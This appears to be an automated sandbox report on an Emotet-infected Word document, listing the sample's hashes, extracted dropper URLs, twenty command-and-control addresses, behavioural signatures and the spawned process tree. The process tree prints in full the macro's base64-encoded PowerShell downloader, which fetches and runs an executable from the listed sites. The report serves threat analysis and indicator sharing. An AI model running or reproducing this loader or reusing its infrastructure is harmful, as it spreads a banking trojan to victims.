Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    73s
  • max time network
    115s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    02/09/2020, 18:46

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_03f5c7ea3d7e0b9237a7dcbbf5a23ec1b4cff95adf7e73f263b0a41ff97c45b3_2020-09-02__184504._doc.doc
  • Size 192KB
  • Sample200902-sb27591yfe
  • SHA256 03f5c7ea3d7e0b9237a7dcbbf5a23ec1b4cff95adf7e73f263b0a41ff97c45b3
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://edenthedoors.com/wp-includes/nN/
  • exe.dropper

    http://eltrafalgar.com/wp-includes/uYK/
  • exe.dropper

    http://elsolivers.com/tpv/DXo/
  • exe.dropper

    http://entrenofutbol.com/C2/
  • exe.dropper

    http://fcf.net/wentzville/maK/
  • exe.dropper

    https://www.flexoarquitectura.com/wp-includes/Iu/
  • exe.dropper

    http://easyclipping.com/cgi-bin/Ym/

Extracted

Family

  • emotet

C2

  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 45.16.226.117:443

  • 68.69.155.181:80

  • 213.60.96.117:80

  • 77.55.211.77:8080

  • 152.169.22.67:80

  • 110.142.219.51:80

  • 2.47.112.152:80

  • 206.15.68.237:443

  • 217.13.106.14:8080

  • 191.99.160.58:80

  • 189.131.57.131:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 61.92.159.208:8080

  • 190.128.173.10:80

  • 219.92.8.17:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_03f5c7ea3d7e0b9237a7dcbbf5a23ec1b4cff95adf7e73f263b0a41ff97c45b3_2020-09-02__184504._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1420
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABZAF8ANAB5AHcAdAB1AD0AKAAnAEUAJwArACcANwA4ACcAKwAoACcAbAAnACsAJwA1AG8AZgAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAdQBzAGUAUgBQAHIAbwBGAEkATABFAFwAcgBiAEQAMwBPAEwAOQBcAGsAMQA0ADEAQQBVADYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAYABSAGAAaQBUAGAAWQBQAHIATwBgAFQAYABPAGMAbwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAyACcAKwAnACwAJwApACsAJwAgACcAKwAoACcAdABsAHMAMQAnACsAJwAxACcAKQArACgAJwAsACAAJwArACcAdABsAHMAJwApACkAOwAkAFQAagAyAHEAMgBiAGsAIAA9ACAAKAAnAFAAJwArACgAJwBhAGoAJwArACcAdABuACcAKQArACcAeQBfACcAKQA7ACQATQB3AGwAdwAxAGkAbAA9ACgAJwBLADIAJwArACcAcgAnACsAKAAnADMAaQAnACsAJwB3ADMAJwApACkAOwAkAEgAcABjAHoAbQBzADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AUgAnACsAJwBiACcAKwAoACcAZAAnACsAJwAzAG8AJwApACsAJwBsADkAJwArACcAewAwACcAKwAnAH0ASwAnACsAJwAxACcAKwAnADQAMQBhAHUANgB7ADAAfQAnACkALQBGACAAIABbAEMASABBAHIAXQA5ADIAKQArACQAVABqADIAcQAyAGIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQATgBlAHcAdABwAHgAdwA9ACgAKAAnAE8AJwArACcAdABlACcAKQArACgAJwBfAGsAJwArACcAbAAnACkAKwAnAHgAJwApADsAJABMAG8AbwBjAGQAeQBpAD0AJgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABOAGUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABNAGUAZwB5AHUAdgA1AD0AKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AZQAnACsAJwBkACcAKQArACgAJwBlACcAKwAnAG4AdABoACcAKQArACgAJwBlACcAKwAnAGQAbwAnACkAKwAoACcAbwAnACsAJwByAHMALgBjAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAAJwArACcALQAnACsAJwBpAG4AYwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQAnACkAKwAnAHMAJwArACgAJwAvAG4AJwArACcATgAnACkAKwAoACcALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAcAAnACsAKAAnADoALwAvAGUAJwArACcAbAB0AHIAJwArACcAYQBmACcAKQArACgAJwBhAGwAJwArACcAZwBhAHIALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3AHAALQAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAJwApACsAJwBlAHMAJwArACgAJwAvACcAKwAnAHUAWQBLAC8AJwApACsAKAAnACoAJwArACcAaAB0ACcAKwAnAHQAcAA6AC8AJwApACsAJwAvAGUAJwArACcAbAAnACsAJwBzACcAKwAoACcAbwBsAGkAJwArACcAdgBlACcAKQArACcAcgAnACsAKAAnAHMALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB0ACcAKwAnAHAAJwApACsAKAAnAHYALwAnACsAJwBEAFgAbwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACcALwAnACsAKAAnAC8AZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAHIAJwArACcAZQBuACcAKQArACcAbwBmACcAKwAoACcAdQB0ACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAbAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAEMAMgAvACoAaAAnACsAJwB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKQArACgAJwAvAGYAJwArACcAYwBmAC4AbgAnACsAJwBlAHQAJwApACsAJwAvACcAKwAnAHcAJwArACgAJwBlACcAKwAnAG4AdAAnACsAJwB6AHYAJwArACcAaQBsAGwAZQAvAG0AJwApACsAKAAnAGEAJwArACcASwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwAHMAJwArACcAOgAnACsAJwAvAC8AdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAJwBmACcAKwAnAGwAJwArACgAJwBlAHgAbwAnACsAJwBhAHIAcQB1ACcAKwAnAGkAdABlACcAKQArACgAJwBjAHQAdQByACcAKwAnAGEAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACgAJwB3AHAALQBpAG4AYwBsACcAKwAnAHUAJwArACcAZAAnACkAKwAoACcAZQBzAC8ASQAnACsAJwB1AC8AKgBoACcAKwAnAHQAdAAnACsAJwBwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBlAGEAJwArACcAcwB5AGMAbABpAHAAcABpAG4AJwArACcAZwAuAGMAbwAnACkAKwAoACcAbQAvAGMAZwAnACsAJwBpAC0AJwApACsAJwBiACcAKwAoACcAaQBuAC8AJwArACcAWQBtACcAKQArACcALwAnACkALgAiAHMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgA2AGcAXwBpADkAawA9ACgAKAAnAE8AJwArACcAegA5AGQAOAAnACkAKwAnAG8AYgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIADcAbwA5AHYAcQBxACAAaQBuACAAJABNAGUAZwB5AHUAdgA1ACkAewB0AHIAeQB7ACQATABvAG8AYwBkAHkAaQAuACIAZABvAFcAYABOAEwAbwBgAEEAYABkAEYAaQBsAGUAIgAoACQASAA3AG8AOQB2AHEAcQAsACAAJABIAHAAYwB6AG0AcwAwACkAOwAkAEcAZABiAGoAYgByAHQAPQAoACgAJwBBACcAKwAnAGsAYgBoAGQAJwApACsAJwBsADgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEgAcABjAHoAbQBzADAAKQAuACIATABlAE4AYABHAFQASAAiACAALQBnAGUAIAAyADEAMgA3ADUAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQASABwAGMAegBtAHMAMAApADsAJABGADMAbwBxADQAOAB2AD0AKAAnAFIAJwArACgAJwAwADEAegAnACsAJwB0AGQAaAAnACkAKQA7AGIAcgBlAGEAawA7ACQARAAyAGcAawBvAGkAdAA9ACgAKAAnAEgAMAAwACcAKwAnADcAJwApACsAKAAnAGQAJwArACcANQBpACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXADAAMQB3AHgAdABxAD0AKAAoACcATABwAG8AcwAnACsAJwA1ACcAKQArACcAZwByACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Users\Admin\Rbd3ol9\K141au6\Pajtny_.exe
      "C:\Users\Admin\Rbd3ol9\K141au6\Pajtny_.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\SysWOW64\bitsprx4\sberes.exe
        "C:\Windows\SysWOW64\bitsprx4\sberes.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:916

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/784-21-0x000007FEF8150000-0x000007FEF83CA000-memory.dmp
        Download

        memory/916-20-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1420-5-0x000000000AC80000-0x000000000AC84000-memory.dmp
        Download

        memory/1420-6-0x00000000071B0000-0x00000000073B0000-memory.dmp
        Download

        memory/1420-2-0x0000000008BB0000-0x0000000008BB4000-memory.dmp
        Download

        memory/1600-12-0x00000000027D0000-0x00000000027D1000-memory.dmp
        Download

        memory/1600-13-0x000000001C4B0000-0x000000001C4B1000-memory.dmp
        Download

        memory/1600-11-0x0000000002600000-0x0000000002601000-memory.dmp
        Download

        memory/1600-10-0x0000000002540000-0x0000000002541000-memory.dmp
        Download

        memory/1600-9-0x000000001AE30000-0x000000001AE31000-memory.dmp
        Download

        memory/1600-8-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1600-7-0x000007FEEA1D0000-0x000007FEEABBC000-memory.dmp
        Download

        memory/2024-16-0x00000000002C0000-0x00000000002CC000-memory.dmp
        Download